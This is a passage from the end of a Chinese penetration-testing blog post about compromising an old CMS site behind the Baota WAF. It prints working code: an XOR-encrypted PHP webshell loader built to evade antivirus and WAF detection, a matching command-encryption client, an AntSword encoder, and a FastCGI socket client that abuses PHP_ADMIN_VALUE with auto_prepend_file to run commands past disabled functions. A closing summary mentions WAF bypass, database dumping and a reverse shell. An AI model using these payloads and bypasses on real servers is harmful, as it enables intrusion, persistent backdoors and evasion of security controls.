那就分片落地再拼接执行或者落地加密后的文件,看看还能不能检测出来

分片落地

因为有waf,所以参数传递需要加密,否则肯定不能过waf

将木马分成几部分,主要不被杀就行了,把_POST等敏感词拆成_PO + ST两部分

运行时利用读取文件拼接,直接eval进内存里,应该可以躲避查杀(先用的加密落地,后面想回去尝试发现已经关服了)

加密落地

因为上传的phpinfo();有时访问不到,上传多几次

发现是slb到三台主机,而且不是轮询,控制起来比较麻烦,Godzilla马靠session维持payload,主机的session不互通,所以改用蚁剑连接

生成加密马和对应加密数据脚本

复制代码
  <?php
    // 一句话:用 XOR 解密 POST 数据,再 eval
  $code = <<<'PHPCODE'
  $key = "3c6e0b8a9c15224a";
  $enc = base64_decode($_POST['c']);
  $cmd = "";
  for($i=0; $i<strlen($enc); $i++) {
    $cmd .= chr(ord($enc[$i]) ^ ord($key[$i % strlen($key)]));
  }
  if($cmd !== "") {
    eval($cmd);
  }
  PHPCODE;
  $secret = "7867e125de24a24ffe5d1262bf8fe485";
  function xor_crypt($data, $key)
  {
    $out = '';
    for ($i = 0; $i < strlen($data); $i++) {
      $out .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
    }
    return $out;
  }
  $encrypted = base64_encode(xor_crypt($code, $secret));
  $loader = '<?php
  $k = trim(file_get_contents(dirname(__FILE__)."/1.txt"));
  $k = preg_replace("/\s+/", "", $k);
  if (!$k) die;
  $d = base64_decode("' . $encrypted . '");
  for($i=0;$i<strlen($d);$i++) $d[$i] = chr(ord($d[$i]) ^ ord($k[$i % strlen($k)]));
  eval($d);
  ';
  file_put_contents('loader.php', $loader);
  file_put_contents('1.txt', $secret);

通过上面的接口穿上去,成功落地,请求负载均衡到了不同主机,所以要多上传几次,保证所有主机都有木马

测试一下能不能用,生成加密参数传过去

复制代码
  <?php
    // ========== 客户端:加密 POST 数据 ==========
  $key = "3c6e0b8a9c15224a";
  $cmd = $argv[1] ?? "phpinfo();";  // 命令行参数,或直接改这里
  // XOR 加密
  $data = $cmd;
  $out = "";
  for($i=0;$i<strlen($data);$i++) {
    $out .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
  }
  echo "POST c=" . base64_encode($out);

成功执行,写个编码器给蚁剑连接,放到antData\encoders\php\encoder目录下

复制代码
  'use strict';
  module.exports = (pwd, data, ext) => {
    const key = '3c6e0b8a9c15224a';
    let code = data['_'];
    let encrypted = '';
    for (let i = 0; i < code.length; i++) {
      encrypted += String.fromCharCode(
        code.charCodeAt(i) ^ key.charCodeAt(i % key.length)
      );
    }
    data['c'] = Buffer.from(encrypted, 'latin1').toString('base64');
    delete data['_'];
    return data;
  };

连接的时候选择写的编码器,对传出的数据没有要求,就使用默认的解码器了

连接上去,先看看有无其它版本的php,只有一台主机有四个版本的php

四个配置都可以看一下,72版本的连passthru都没禁用,这个配置错误就可以直接命令执行了,不然还得绕过

直接找72的sock发请求php代码执行

复制代码
  <?php
  class FCGIClient {
      private $sock;
      function __construct($sock_path) {
          $this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
          if (!$this->sock) die("连接失败: $errstr\n");
          stream_set_timeout($this->sock, 10);
      }
      private function encodeRecord($type, $content, $requestId) {
          $length = strlen($content);
          return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . 
                 chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
      }
      private function encodeNV($name, $value) {
          $n = strlen($name);
          $v = strlen($value);
          $r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
          $r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
          return $r . $name . $value;
      }
      function request($params = array(), $stdin = '') {
          $rid = rand(1, 65535);
          fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
          $ps = '';
          foreach ($params as $k => $v) {
              $ps .= $this->encodeNV($k, $v);
          }
          if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
          fwrite($this->sock, $this->encodeRecord(4, '', $rid));
          if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
          fwrite($this->sock, $this->encodeRecord(5, '', $rid));
          $out = '';
          $err = '';
          $end = false;
          while (!feof($this->sock) && !$end) {
              $h = fread($this->sock, 8);
              if (strlen($h) < 8) break;
              $t = ord($h[1]);
              $cl = (ord($h[4]) << 8) | ord($h[5]);
              $pl = ord($h[6]);
              $c = '';
              if ($cl > 0) {
                  $c = fread($this->sock, $cl);
                  $left = $cl - strlen($c);
                  while ($left > 0 && !feof($this->sock)) {
                      $c .= fread($this->sock, $left);
                      $left = $cl - strlen($c);
                  }
              }
              if ($pl > 0) fread($this->sock, $pl);
              if ($t == 6) $out .= $c;
              elseif ($t == 7) $err .= $c;
              elseif ($t == 3) $end = true;
          }
          fclose($this->sock);
          return array('out' => $out, 'err' => $err);
      }
  }
  $payload = '<? passthru("id"); ?>';
  $fcgi = new FCGIClient('unix:///tmp/php-cgi-72.sock');
  $r = $fcgi->request(array(
      'GATEWAY_INTERFACE' => 'FastCGI/1.0',
      'REQUEST_METHOD' => 'POST',
      'SCRIPT_FILENAME' => '/www/wwwroot/???/index.php', 
      'SCRIPT_NAME' => '/index.php',
      'REQUEST_URI' => '/index.php',
      'DOCUMENT_ROOT' => '/www/wwwroot/???',
      'SERVER_SOFTWARE' => 'php/fcgiclient',
      'REMOTE_ADDR' => '127.0.0.1',
      'REMOTE_PORT' => '80',
      'SERVER_ADDR' => '127.0.0.1',
      'SERVER_PORT' => '80',
      'SERVER_NAME' => 'localhost',
      'SERVER_PROTOCOL' => 'HTTP/1.1',
      'CONTENT_TYPE' => 'application/text',
      'CONTENT_LENGTH' => strlen($payload),
      'PHP_VALUE' => '',
      'PHP_ADMIN_VALUE' => "allow_url_include = On\nauto_prepend_file = php://input\nopen_basedir = /"
  ), $payload);
  echo "=== OUTPUT ===\n";
  echo $r['out'];
  echo "\n=== ERROR ===\n";
  echo $r['err'];
  ?>

成功命令执行

接下来就能反弹shell了,看一下内核,找提权路径,经历多次无望,就放弃了,只能说,

还得练

0x03 总结

老 CMS 属实一波跌宕闯关,宝塔免费 WAF 像纸糊的一样,靠换行符 %0a、十六进制编码轻松糊弄过去,一路爆库扒出管理员密码。后台写马层层设卡,拆分关键字才勉强绕开过滤,远程拉取哥斯拉木马落地。各种 PHP 限制更是花样繁多,LD_PRELOAD、FPM、mod_cgi 挨个翻出来破解,又是跨目录限制又是禁用函数,硬生生啃下系统 shell。高防站点还要玩分片加密马、应对负载均衡多台服务器来回折腾,一通操作下来,渗透路上的各种坑算是挨个体验了一遍,属实练手拉满!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!

相关推荐
字节跳动视频云技术团队1 小时前
拒绝被剧透!解密大型赛事直播背后的超低延迟黑科技
人工智能·音视频开发·直播
码农学院1 小时前
电商零售品牌的6个技术信号——从JSON-LD结构化数据到llms.txt,让AI搜索主动推荐你的产品
人工智能·json·零售
码农胖大海1 小时前
AI 辅助学习的正确姿势和方法
人工智能·程序员·ai编程
山东穆柯传感器1 小时前
车间安监验收不通过?安全地毯选对厂家一次达标
安全
南讯股份Nascent1 小时前
颖通电商全渠道项目启动会成功举办
大数据·人工智能·物联网
杭州默安科技1 小时前
从告警到多防火墙联动封禁:智能体与XDR的自动化响应实践
人工智能·网络安全
甲维斯1 小时前
Fable5继续用!省钱50%的两个小妙招!
人工智能·ai编程
Elastic 中国社区官方博客1 小时前
使用 Elasticsearch 作为 Grafana 的直接替代 Prometheus 后端
大数据·数据库·sql·elasticsearch·搜索引擎·grafana·prometheus
ltqvibe1 小时前
AIGS不是AIGC——AI生成的是服务不是内容
人工智能·aigc